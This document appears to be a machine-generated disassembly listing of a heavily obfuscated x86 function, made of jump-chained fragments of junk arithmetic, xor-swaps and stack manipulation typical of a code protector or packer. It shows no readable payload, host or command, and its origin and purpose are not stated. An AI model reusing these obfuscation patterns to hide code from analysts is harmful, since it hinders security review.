loc_5A63E4:				; CODE XREF: sub_581EE9+1A3F2j
		not	ebx
		add	ebx, 0ACDFFFF4h
		add	ebp, 281E1068h
		jmp	loc_595389
; ---------------------------------------------------------------------------


loc_5A63F7:				; CODE XREF: sub_581EE9+1BC96j
		mov	[esp-6E66h+arg_6E5C+2],	ebp
		push	4E012BD7h
		mov	ebp, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		not	ebp
		sub	ebp, 6DF816A7h
		push	eax
		push	ebp
		mov	ebp, 4C7E55FFh
		mov	eax, 7CC8F491h
		jmp	loc_5A1306
; ---------------------------------------------------------------------------


loc_5A641E:				; CODE XREF: sub_581EE9+1F199j
		mov	ebp, [esp-6E80h+arg_6E76+2]
		jmp	loc_5973CA
; ---------------------------------------------------------------------------


loc_5A6426:				; CODE XREF: sub_581EE9+2130Cj
		add	esp, 4
		add	edx, 256220F8h
		add	edx, eax
		sub	edx, 256220F8h
		push	ebx
		mov	ebx, 367C786Dh
		sub	edx, ebx
		pop	ebx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A6448:				; CODE XREF: sub_581EE9+1C5CDj
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		push	edi
		jmp	loc_5A3835
; ---------------------------------------------------------------------------


loc_5A6451:				; CODE XREF: sub_581EE9+1B881j
		mov	edx, 24h
		add	edx, edi
		xor	[edx], ecx
		pop	edx
		jmp	loc_5A09C9
; ---------------------------------------------------------------------------


loc_5A6460:				; CODE XREF: sub_581EE9+1E768j
		mov	edi, 7C965885h
		shr	edi, 1
		and	edi, 64F65F28h
		sub	edi, 24420BFCh
		add	edx, edi
		jmp	loc_59A14F
; ---------------------------------------------------------------------------


loc_5A647A:				; CODE XREF: sub_581EE9+19705j
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp-6E96h+arg_6E92]
		mov	edi, [esp-6E92h+arg_6E8A]
		add	esp, 4
		jmp	loc_59FDC2
; ---------------------------------------------------------------------------


loc_5A6499:				; CODE XREF: sub_581EE9+1BEF0j
		add	edx, 4
		add	edx, 4
		jmp	loc_5A6264
; ---------------------------------------------------------------------------


loc_5A64AA:				; CODE XREF: sub_581EE9+19DABj
		xor	ecx, [esp-6E72h+arg_6E68+2]
		xor	[esp-6E72h+arg_6E68+2],	ecx
		xor	ecx, [esp-6E72h+arg_6E68+2]
		jmp	loc_594C62
; ---------------------------------------------------------------------------


loc_5A64B8:				; CODE XREF: sub_581EE9+1EE45j
		push	esi
		mov	esi, 7C10D87h
		add	ecx, esi
		pop	esi
		add	ecx, eax
		sub	ecx, 7C10D87h
		push	eax
		mov	eax, 465F2B5Ah
		sub	ecx, 7BE14549h
		add	ecx, eax
		add	ecx, 7BE14549h
		pop	eax
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E46h+arg_6E3E]
		mov	esp, [esp-6E46h+arg_6E3E]
		jmp	loc_592320
; ---------------------------------------------------------------------------


loc_5A64FB:				; CODE XREF: sub_581EE9+13590j
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	ecx
		jmp	loc_5A5A8F
; ---------------------------------------------------------------------------


loc_5A6509:				; CODE XREF: sub_581EE9+1F082j
		mov	esi, [esp-6E72h+arg_6E68+2]
		add	esp, 4
		jmp	loc_595CD3
; ---------------------------------------------------------------------------


loc_5A6514:				; CODE XREF: sub_581EE9+19CA3j
		sub	[esp-6EB2h+arg_6EA8+2],	1DFB1016h
		jmp	loc_5A5EF9
; ---------------------------------------------------------------------------


loc_5A6520:				; CODE XREF: sub_581EE9+233FFj
		xor	[esp-6EC2h+arg_6EBA], 73201D4Dh
		pop	ecx
		xor	ecx, 73201D4Dh
		jmp	loc_5940F6
; ---------------------------------------------------------------------------


loc_5A6533:				; CODE XREF: sub_581EE9+2361Aj
		add	ecx, eax
		mov	eax, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		add	ecx, 8E9554Ah
		sub	ecx, eax
		sub	ecx, 8E9554Ah
		push	edi
		jmp	loc_5A04A4
; ---------------------------------------------------------------------------


loc_5A6552:				; CODE XREF: sub_581EE9+19E73j
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		jmp	loc_595CA7
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA2h+arg_6E9A]
		push	1997h
		mov	[esp-6E9Eh+arg_6E96], edx
		push	esp
		pop	edx
		push	ebp
		push	edx
		mov	edx, 293A740Ah
		mov	ebp, 0D6C58BFAh
		add	ebp, edx
		jmp	loc_59FB39
; ---------------------------------------------------------------------------


loc_5A6589:				; CODE XREF: sub_581EE9+1839Cj
		push	esi
		mov	esi, 4
		sub	ecx, 1A700CFAh
		add	ecx, esi
		add	ecx, 1A700CFAh
		pop	esi
		jmp	loc_5A1E3F
; ---------------------------------------------------------------------------


loc_5A65A3:				; CODE XREF: sub_581EE9+14807j
		push	small 4C63h
		mov	word ptr [esp-6EC8h+arg_6EBE+2], bp
		mov	bp, 3123h
		push	di
		jmp	loc_59F1E8
; ---------------------------------------------------------------------------


loc_5A65B6:				; CODE XREF: sub_581EE9+2308Cj
		pop	esi
		shl	ecx, 7
		shl	ecx, 3
		jmp	loc_59D857
; ---------------------------------------------------------------------------


loc_5A65C2:				; CODE XREF: sub_581EE9+22697j
		mov	eax, esp
		jmp	loc_59902F
; ---------------------------------------------------------------------------


loc_5A65C9:				; CODE XREF: sub_581EE9+1FC56j
		mov	ecx, esp
		push	ebx
		mov	ebx, 2FD93634h
		inc	ebx
		add	ebx, 0D026C9CFh
		sub	ecx, 2F3C2AD4h
		add	ecx, ebx
		add	ecx, 2F3C2AD4h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp-6E72h+arg_6E68+2]
		pop	esp
		and	eax, esi
		push	[esp-6E76h+arg_6E6E]
		pop	esi
		push	ecx
		jmp	loc_5A1956
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E72h+arg_6E68+2]
		push	edx
		mov	edx, esp
		jmp	loc_593B78
; ---------------------------------------------------------------------------


loc_5A6606:				; CODE XREF: sub_581EE9+1A873j
		mov	[esp-6E44h+arg_6E3A+2],	esi
		push	eax
		mov	eax, 58EE72CEh
		shr	eax, 2
		xor	eax, 228C2C30h
		sub	eax, 0F8F93F83h
		mov	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		push	37Fh
		mov	[esp-6E44h+arg_6E3A+2],	esi
		jmp	loc_59AC41
; ---------------------------------------------------------------------------


loc_5A662F:				; CODE XREF: sub_581EE9+1B918j
		or	eax, 3C363DA3h
		xchg	eax, edi
		not	edi
		xor	eax, edi
		xor	edi, eax
		jmp	loc_598FE5
; ---------------------------------------------------------------------------


loc_5A6640:				; CODE XREF: sub_581EE9+1243Fj
		and	ch, 34h
		jmp	loc_5A3BCD
; ---------------------------------------------------------------------------


loc_5A6648:				; CODE XREF: sub_581EE9+238D9j
		pop	edx
		add	ebx, 0E67A223Bh
		push	ecx
		mov	ecx, 24D13A17h
		xor	ecx, 5BE53570h
		sub	ebx, ecx
		pop	ecx
		xor	ebx, 47F57AFh
		add	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 7D1572E1h
		sub	ebx, esi
		mov	esi, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		shl	ebx, 4
		jmp	loc_596AA4
; ---------------------------------------------------------------------------
		push	[esp-6E9Eh+arg_6E96]
		jmp	loc_5A1FF4
; ---------------------------------------------------------------------------


loc_5A668B:				; CODE XREF: sub_581EE9+19B50j
		pop	ebp
		jmp	loc_593279
; ---------------------------------------------------------------------------


loc_5A6691:				; CODE XREF: sub_581EE9+19353j
		push	ecx
		push	5F676968h
		push	[esp-6E9Ah+arg_6E92]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A2654
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E96h+arg_6E8E]
		push	27AAh
		mov	[esp-6E92h+arg_6E8A], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 2
		jmp	loc_5987A8
; ---------------------------------------------------------------------------


loc_5A66CB:				; CODE XREF: sub_581EE9+149A0j
		mov	ecx, [esp-6E66h+arg_6E5C+2]
		add	esp, 4
		sub	ecx, 4AEC5849h
		jmp	loc_5A69A0
; ---------------------------------------------------------------------------


loc_5A66DF:				; CODE XREF: sub_581EE9+12BA3j
		shl	esi, 6
		xor	esi, 40FF20F1h
		and	esi, 42CA663Fh
		push	edi
		jmp	loc_59ACC2
; ---------------------------------------------------------------------------


loc_5A66F4:				; CODE XREF: sub_581EE9+1B539j
		mov	eax, 0
		add	eax, edx
		push	ecx
		xor	[esp-6E88h+arg_6E80], 4B93537Fh
		pop	dword ptr [eax]
		xor	dword ptr [eax], 4B93537Fh
		pop	eax
		jmp	loc_5A5B77
; ---------------------------------------------------------------------------


loc_5A6711:				; CODE XREF: sub_581EE9+1E2AEj
		shr	ecx, 0Bh
		push	ebx
		sub	[esp-6E80h+arg_6E76+2],	63D1C79h
		push	[esp-6E80h+arg_6E76+2]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5921FB
; ---------------------------------------------------------------------------


loc_5A672D:				; CODE XREF: sub_581EE9+154B1j
		add	esp, 4
		add	esp, 4
		xor	ebx, 59F4521Bh
		push	5DBAh
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebp
		mov	ebp, 25DD5517h
		jmp	loc_59BCEA
; ---------------------------------------------------------------------------


loc_5A6751:				; CODE XREF: sub_581EE9+1F2ACj
		add	edi, 5FA7321Bh
		add	edi, ebp
		jmp	loc_5925D6
; ---------------------------------------------------------------------------


loc_5A675E:				; CODE XREF: sub_581EE9+238BCj
		mov	ebp, 79271EC6h
		not	ebp
		jmp	loc_594381
; ---------------------------------------------------------------------------


loc_5A676A:				; CODE XREF: sub_581EE9+1FE33j
		pop	eax
		add	ebx, 9120405h
		add	edx, 14667B75h
		add	edx, ebx
		jmp	loc_5A374D
; ---------------------------------------------------------------------------


loc_5A677E:				; CODE XREF: sub_581EE9+23A82j
		xor	edi, 3D301330h
		jmp	loc_5A63B9
; ---------------------------------------------------------------------------


loc_5A6789:				; CODE XREF: sub_581EE9+21A36j
		add	di, 8E4h
		jmp	loc_599F7E
; ---------------------------------------------------------------------------


loc_5A6793:				; CODE XREF: sub_581EE9+18DF0j
		mov	ecx, [esp-6EA0h+arg_6E96+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_599204
; ---------------------------------------------------------------------------


loc_5A67AC:				; CODE XREF: sub_581EE9+16E8Cj
		xchg	ecx, edx
		inc	edx
		neg	edx
		xor	edx, 0EBB7ED6Dh
		add	esi, edx
		pop	edx
		pop	eax
		push	esi
		push	[esp-6EAAh+arg_6EA4+2]
		mov	esi, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		pop	esp
		add	eax, 4
		xor	eax, [esp-6EB2h+arg_6EA8+2]
		xor	[esp-6EB2h+arg_6EA8+2],	eax
		xor	eax, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		push	1529h
		jmp	loc_59A329
; ---------------------------------------------------------------------------


loc_5A67E6:				; CODE XREF: sub_581EE9+1778Aj
		add	ebx, edx
		add	ebx, 113A723Eh
		jmp	loc_59E661
; ---------------------------------------------------------------------------


loc_5A67F3:				; CODE XREF: sub_581EE9+1B4F5j
		or	eax, 4E022B85h
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		jmp	loc_59F972
; ---------------------------------------------------------------------------


loc_5A6801:				; CODE XREF: sub_581EE9+2496Fj
		mov	esp, [esp-6E52h+arg_6E48+2]
		sub	esp, 4
		mov	[esp-6E4Eh+arg_6E44+2],	esi
		push	1196h
		jmp	loc_5A07A1
; ---------------------------------------------------------------------------


loc_5A6814:				; CODE XREF: sub_581EE9+18869j
		push	eax
		jmp	loc_59D8E0
; ---------------------------------------------------------------------------


loc_5A681A:				; CODE XREF: sub_581EE9+21143j
		mov	esi, 1A6723E7h
		xor	esi, 1A6723E3h
		jmp	loc_595912
; ---------------------------------------------------------------------------


loc_5A682A:				; CODE XREF: sub_581EE9+151ACj
		pop	eax
		xor	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_599B29
; ---------------------------------------------------------------------------


loc_5A6836:				; CODE XREF: sub_581EE9+1EE26j
		mov	[esp-6E42h+arg_6E3A], esp
		push	ebx
		mov	ebx, 4
		add	[esp-6E3Eh+arg_6E3A], ebx
		pop	ebx
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-6E46h+arg_6E3E]
		xor	[esp-6E46h+arg_6E3E], eax
		xor	eax, [esp-6E46h+arg_6E3E]
		jmp	loc_5A6801
; ---------------------------------------------------------------------------


loc_5A685D:				; CODE XREF: sub_581EE9+1BB12j
		push	[esp-6E8Ah+arg_6E84+2]
		pop	ecx
		pop	[esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Eh+arg_6E84+2]
		mov	cx, word ptr [esp-6E8Eh+arg_6E84+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6E8Ah+arg_6E80+2]
		pop	esp
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		push	2850h
		mov	[esp-6E8Ah+arg_6E80+2],	esp
		add	[esp-6E8Ah+arg_6E80+2],	4
		pop	ebx
		push	2B05h
		jmp	loc_599238
; ---------------------------------------------------------------------------


loc_5A6898:				; CODE XREF: sub_581EE9+179AEj
		pop	ax
		mov	dh, ah
		pop	eax
		jmp	loc_595B5E
; ---------------------------------------------------------------------------


loc_5A68A2:				; CODE XREF: sub_581EE9+1CF63j
		push	edx
		push	eax
		mov	ah, 40h
		mov	dl, ah
		pop	eax
		and	cl, dl
		mov	edx, [esp+0]
		jmp	loc_59D931
; ---------------------------------------------------------------------------


loc_5A68B3:				; CODE XREF: sub_581EE9+11889j
		mov	edi, 614C4003h
		sub	edi, 68B15E4h
		jmp	loc_594720
; ---------------------------------------------------------------------------


loc_5A68C3:				; CODE XREF: sub_581EE9+140EEj
		mov	[esp-6E64h+arg_6E5C], edx
		jmp	loc_5A49CF
; ---------------------------------------------------------------------------


loc_5A68CB:				; CODE XREF: sub_581EE9+16769j
		add	eax, 0E17EAFA0h
		mov	edx, eax
		mov	eax, [esp-6E84h+arg_6E7C]
		add	esp, 4
		jmp	loc_59B1DF
; ---------------------------------------------------------------------------


loc_5A68DD:				; CODE XREF: sub_581EE9+1B951j
		xor	edi, 2FBA29A6h
		push	61D2h
		mov	[esp-6E46h+arg_6E3E], eax
		mov	eax, 0FFFFFFFFh
		add	edi, eax
		jmp	loc_5A32CB
; ---------------------------------------------------------------------------


loc_5A68F7:				; CODE XREF: sub_581EE9+18F78j
		pop	esp
		push	ebp
		jmp	loc_5959C5
; ---------------------------------------------------------------------------
		mov	cx, [esp-6E82h+arg_6E7A]
		jmp	loc_59B01F
; ---------------------------------------------------------------------------


loc_5A6907:				; CODE XREF: sub_581EE9+212AFj
		pop	esp
		jmp	loc_59597A
; ---------------------------------------------------------------------------


loc_5A690D:				; CODE XREF: sub_581EE9+1C22Bj
		sub	esi, 0C202BB3h
		push	esi
		jmp	loc_59BC3C
; ---------------------------------------------------------------------------


loc_5A6919:				; CODE XREF: sub_581EE9+16E74j
		add	esp, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A692A:				; CODE XREF: sub_581EE9+13B57j
		add	ecx, 4
		xor	ecx, [esp-6E6Ah+arg_6E60+2]
		xor	[esp-6E6Ah+arg_6E60+2],	ecx
		xor	ecx, [esp-6E6Ah+arg_6E60+2]
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		shr	ecx, 0Ah
		push	esi
		push	ebx
		add	[esp-6E62h+arg_6E58+2],	0C202BB3h
		mov	esi, [esp-6E62h+arg_6E58+2]
		sub	esp, 4
		mov	[esp-6E5Eh+arg_6E54+2],	ecx
		mov	ecx, esp
		add	ecx, 4
		push	189Eh
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		push	ecx
		mov	ecx, 5AB96608h
		jmp	loc_596E55
; ---------------------------------------------------------------------------


loc_5A696F:				; CODE XREF: sub_581EE9+16B3Cj
		sub	ebx, 795D3AD1h
		dec	ebx
		jmp	loc_591FE7
; ---------------------------------------------------------------------------


loc_5A697B:				; CODE XREF: sub_581EE9+129E4j
		mov	[esp-6E52h+arg_6E48+2],	edi
		mov	edi, 4
		jmp	loc_5A2286
; ---------------------------------------------------------------------------


loc_5A6988:				; CODE XREF: sub_581EE9+151D4j
		mov	edi, [esp-6E4Eh+arg_6E44+2]
		jmp	loc_59D574
; ---------------------------------------------------------------------------


loc_5A6990:				; CODE XREF: sub_581EE9+1248Bj
		pop	eax
		inc	dh
		push	679Fh
		mov	[esp-6E98h+arg_6E8E+2],	ecx
		jmp	loc_594355
; ---------------------------------------------------------------------------


loc_5A69A0:				; CODE XREF: sub_581EE9+247F1j
		push	[esp-6E6Ah+arg_6E60+2]
		jmp	loc_598068
; ---------------------------------------------------------------------------


loc_5A69A8:				; CODE XREF: sub_581EE9+16F66j
		sub	esp, 4
		mov	[esp-6E60h+arg_6E58], ecx
		push	ebx
		mov	ebx, 3F97746Bh
		mov	ecx, ebx
		pop	ebx
		push	ecx
		jmp	loc_5A2A61
; ---------------------------------------------------------------------------


loc_5A69BD:				; CODE XREF: sub_581EE9+1F898j
		push	esi
		mov	esi, 379A0733h
		jmp	loc_59B7C9
; ---------------------------------------------------------------------------


loc_5A69C8:				; CODE XREF: sub_581EE9+24BCFj
		push	edx
		mov	dh, 0Dh
		jmp	loc_5A4BA0
; ---------------------------------------------------------------------------


loc_5A69D0:				; CODE XREF: sub_581EE9+17C4Dj
		xor	ebp, 0AC7FB1CBh
		jmp	loc_59A99E
; ---------------------------------------------------------------------------


loc_5A69DB:				; CODE XREF: sub_581EE9+122B3j
		mov	eax, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		push	5847h
		mov	[esp-6EC4h+arg_6EBA+2],	eax
		push	esp
		jmp	loc_59BBCA
; ---------------------------------------------------------------------------


loc_5A69F2:				; CODE XREF: sub_581EE9+16C16j
		push	eax
		mov	eax, 3B947210h
		shr	eax, 6
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	esi
		mov	esi, 5B683531h
		shr	esi, 2
		dec	esi
		sub	esi, 5221ED2h
		add	esi, 105231AEh
		or	esi, 7B2434FFh
		add	esi, 0F039CD4Bh
		xor	eax, esi
		pop	esi
		add	eax, 67F17B4Ah
		sub	eax, 367C114Eh
		sub	eax, 65BE74BDh
		add	eax, 0E764B9C2h
		add	esi, eax
		pop	eax
		jmp	loc_593AF9
; ---------------------------------------------------------------------------


loc_5A6A41:				; CODE XREF: sub_581EE9+10943j
		pop	[esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6ECCh+arg_6EC2+2],	ebp
		push	[esp-6ECCh+arg_6EC2+2]
		pop	ebx
		add	esp, 4
		jmp	loc_597199
; ---------------------------------------------------------------------------


loc_5A6A57:				; CODE XREF: sub_581EE9+20723j
		add	ebx, edi
		push	edi
		mov	edi, 31670C59h
		sub	edi, 2D9DDE6Fh
		add	ebx, edi
		pop	edi
		add	ebx, 174E298Bh
		sub	ebx, 7C2E54A4h
		push	edx
		mov	edx, 0
		push	edi
		mov	edi, 5B95399Dh
		dec	edi
		add	edi, 1C41081Bh
		jmp	loc_593BCC
; ---------------------------------------------------------------------------


loc_5A6A8C:				; CODE XREF: sub_581EE9+130CDj
		mov	ebx, [esp-6E84h+arg_6E7C]
		add	esp, 4
		xor	edx, 59061A6Ch
		sub	esp, 4
		mov	[esp-6E84h+arg_6E7C], edx
		not	[esp-6E84h+arg_6E7C]
		pop	edx
		xor	edx, ecx
		jmp	loc_593F13
; ---------------------------------------------------------------------------


loc_5A6AAC:				; CODE XREF: sub_581EE9+17141j
		mov	dl, bl
		pop	ebx
		shr	dl, 8
		shl	dl, 3
		push	eax
		mov	ah, 0B5h
		jmp	loc_5A69C8
; ---------------------------------------------------------------------------


loc_5A6ABD:				; CODE XREF: sub_581EE9+1F105j
		push	esi
		push	6898h
		mov	[esp-6EA2h+arg_6E9A], ebx
		push	33051AB3h
		jmp	loc_597B8E
; ---------------------------------------------------------------------------


loc_5A6AD0:				; CODE XREF: sub_581EE9+1BE32j
		mov	edx, ebp
		push	[esp-6E54h+arg_6E4C]
		pop	ebp
		jmp	loc_5920DC
; ---------------------------------------------------------------------------


loc_5A6ADB:				; CODE XREF: sub_581EE9+20F65j
		xor	eax, ecx
		not	ecx
		jmp	loc_59226A
; ---------------------------------------------------------------------------


loc_5A6AE4:				; CODE XREF: sub_581EE9+122E6j
		add	esp, 4
		jmp	loc_59B182
; ---------------------------------------------------------------------------


loc_5A6AEC:				; CODE XREF: sub_581EE9+1AB4Aj
		pop	cx
		xor	dh, 9Fh
		mov	ah, dh
		jmp	loc_5A19EC
; ---------------------------------------------------------------------------


loc_5A6AF8:				; CODE XREF: sub_581EE9+21FD9j
		sub	word ptr [esp-6E62h+arg_6E58+2], 6728h
		mov	di, word ptr [esp-6E62h+arg_6E58+2]
		add	esp, 2
		jmp	loc_59AB58
; ---------------------------------------------------------------------------


loc_5A6B0D:				; CODE XREF: sub_581EE9+10AC9j
		pop	ecx
		add	al, ch
		push	ecx
		mov	ch, 0AAh
		add	al, ch
		pop	ecx
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		add	al, bl
		push	edx
		mov	dl, 5Bh
		jmp	loc_5A6E3F
; ---------------------------------------------------------------------------


loc_5A6B26:				; CODE XREF: sub_581EE9+1F326j
		push	7DD4h
		push	esp
		jmp	loc_597E54
; ---------------------------------------------------------------------------


loc_5A6B31:				; CODE XREF: sub_581EE9+1B2BCj
		sub	edx, 4
		push	0D31h
		mov	[esp-6E76h+arg_6E6E], edx
		push	[esp-6E76h+arg_6E72]
		mov	edx, [esp-6E72h+arg_6E68+2]
		jmp	loc_592826
; ---------------------------------------------------------------------------


loc_5A6B48:				; CODE XREF: sub_581EE9+21E40j
		push	dword ptr [esp+0]
		pop	edi
		sub	esp, 4
		mov	[esp-6E8Ch+arg_6E84], ebp
		mov	ebp, esp
		jmp	loc_597ED0
; ---------------------------------------------------------------------------


loc_5A6B5C:				; CODE XREF: sub_581EE9+1BC46j
		push	61A6h
		push	3CD6h
		mov	[esp-6E5Eh+arg_6E54+2],	esp
		add	[esp-6E5Eh+arg_6E54+2],	4
		pop	[esp-6E5Eh+arg_6E54+2]
		push	27B5h
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		push	ebp
		push	edi
		mov	edi, 7D3860BCh
		push	edi
		mov	edi, 47B545C1h
		mov	ebp, 9C9F5060h
		xor	ebp, edi
		mov	edi, [esp-6E52h+arg_6E48+2]
		add	esp, 4
		add	ebp, edi
		pop	edi
		jmp	loc_59A06E
; ---------------------------------------------------------------------------


loc_5A6B9D:				; CODE XREF: sub_581EE9+16D11j
		add	ebp, 64EE12F4h
		add	ebp, esi
		sub	ebp, 64EE12F4h
		jmp	loc_59CFE0
; ---------------------------------------------------------------------------


loc_5A6BB0:				; CODE XREF: sub_581EE9+18A26j
		add	edx, 4
		xchg	edx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_598D0F
; ---------------------------------------------------------------------------


loc_5A6BBB:				; CODE XREF: sub_581EE9+1AB11j
		and	[esp-6EBEh+arg_6EB6], eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A6BC4:				; CODE XREF: sub_581EE9+1EF51j
		push	[esp-6EA8h+arg_6EA4]
		pop	esi
		jmp	loc_59D0E3
; ---------------------------------------------------------------------------


loc_5A6BCE:				; CODE XREF: sub_581EE9+14746j
		push	esi
		push	[esp-6EA2h+arg_6E9E]
		pop	esi
		pop	[esp-6EA2h+arg_6E9A]
		pop	esp
		add	eax, 2
		xor	eax, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_599990
; ---------------------------------------------------------------------------


loc_5A6BE5:				; CODE XREF: sub_581EE9+13F80j
		pop	edx
		sub	edx, 762879CFh
		sub	edx, 62B95119h
		add	edx, edi
		add	edx, 62B95119h
		add	edx, 762879CFh
		push	dword ptr [edx]
		jmp	loc_596882
; ---------------------------------------------------------------------------


loc_5A6C07:				; CODE XREF: sub_581EE9+1A0DFj
		xor	ebx, [esp-6EA6h+arg_6E9E]
		xor	[esp-6EA6h+arg_6E9E], ebx
		xor	ebx, [esp-6EA6h+arg_6E9E]
		jmp	loc_597482
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: sub_581EE9+1AABFj
		pop	ebp
		xor	eax, edi
		push	[esp-6E72h+arg_6E68+2]
		pop	edi
		add	esp, 4
		jmp	loc_592F17
; ---------------------------------------------------------------------------


loc_5A6C27:				; CODE XREF: sub_581EE9+22B34j
		mov	[esp-6E52h+arg_6E48+2],	edx
		pop	dword ptr [edi+24h]
		jmp	$+5
		mov	edx, [esp-6E56h+arg_6E4C+2]
		sub	esp, 4
		mov	[esp-6E52h+arg_6E48+2],	ebx
		jmp	loc_59DB34
; ---------------------------------------------------------------------------


loc_5A6C40:				; CODE XREF: sub_581EE9+15854j
		push	edi
		mov	edi, 15DF0h
		push	eax
		push	ebx
		mov	ebx, 360C1CDFh
		neg	ebx
		sub	ebx, 26312092h
		jmp	loc_59DF07
; ---------------------------------------------------------------------------


loc_5A6C5A:				; CODE XREF: sub_581EE9+177CFj
		mov	[esp-6E8Ch+arg_6E84], edi
		mov	edi, 4
		add	esi, 2DB141B3h
		sub	esi, edi
		sub	esi, 2DB141B3h
		pop	edi
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], esi
		push	ebx
		mov	ebx, 40000h
		mov	esi, ebx
		jmp	loc_596A9E
; ---------------------------------------------------------------------------


loc_5A6C87:				; CODE XREF: sub_581EE9+19970j
		mov	[esp-6EA2h+arg_6E9A], ecx
		mov	ecx, 0
		sub	ecx, eax
		mov	eax, ecx
		jmp	loc_59EAA6
; ---------------------------------------------------------------------------


loc_5A6C98:				; CODE XREF: sub_581EE9+14D7Cj
		and	ebx, 0DF30FF6h
		shr	ebx, 5
		xor	ebx, 49BE7ABCh
		jmp	loc_592451
; ---------------------------------------------------------------------------


loc_5A6CAC:				; CODE XREF: sub_581EE9+224FFj
		sub	edi, 683962F5h
		pop	ebp
		sub	edi, ecx
		sub	esp, 4
		jmp	loc_595866
; ---------------------------------------------------------------------------


loc_5A6CBD:				; CODE XREF: sub_581EE9+24F04j
		or	edi, eax
		pop	eax
		sub	edi, 1
		push	ecx
		mov	ecx, 5AD230DFh
		xchg	eax, ecx
		jmp	loc_59E61F
; ---------------------------------------------------------------------------


loc_5A6CD2:				; CODE XREF: sub_581EE9+189BFj
		sub	ebx, 12A206EEh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-6E76h+arg_6E6E]
		mov	esp, [esp-6E76h+arg_6E6E]
		push	2CE0h
		jmp	loc_59F0E2
; ---------------------------------------------------------------------------


loc_5A6CEB:				; CODE XREF: sub_581EE9+1A1B5j
		push	[esp-6E88h+arg_6E80]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp-6E88h+arg_6E80]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E84h+arg_6E7C]
		jmp	loc_596DD1
; ---------------------------------------------------------------------------


loc_5A6D1C:				; CODE XREF: sub_581EE9+15470j
		mov	edi, ebx
		pop	ebx
		jmp	loc_5937F3
; ---------------------------------------------------------------------------


loc_5A6D24:				; CODE XREF: sub_581EE9+1AA66j
		push	62CEh
		mov	[esp-6EA4h+arg_6E9A+2],	esi
		push	2E4F69C4h
		pop	esi
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		dec	esi
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		not	esi
		push	edx
		mov	edx, 0D1B09636h
		sub	esi, edx
		mov	edx, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		push	ecx
		mov	ecx, 28E935C3h
		add	ecx, 204F7A80h
		neg	ecx
		push	ebx
		jmp	loc_599F91
; ---------------------------------------------------------------------------


loc_5A6D66:				; CODE XREF: sub_581EE9+1CD1Aj
		xor	eax, 0BF50C404h
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 4
		jmp	loc_59A9F3
; ---------------------------------------------------------------------------


loc_5A6D79:				; CODE XREF: sub_581EE9+2307Ej
		sub	edx, 78664EACh
		add	edx, ebx
		add	edx, 78664EACh
		pop	ebx
		push	edx
		push	[esp-6E8Eh+arg_6E8A]
		pop	edx
		jmp	loc_5A58B6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E8Eh+arg_6E84+2]
		push	77EFh
		jmp	loc_594143
; ---------------------------------------------------------------------------


loc_5A6DA1:				; CODE XREF: sub_581EE9+22D1Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E76h+arg_6E6E]
		pop	esp
		xor	ebx, [esp-6E7Ah+arg_6E72]
		xor	[esp-6E7Ah+arg_6E72], ebx
		xor	ebx, [esp-6E7Ah+arg_6E72]
		pop	esp
		add	esp, 4
		jmp	loc_5A4EAA
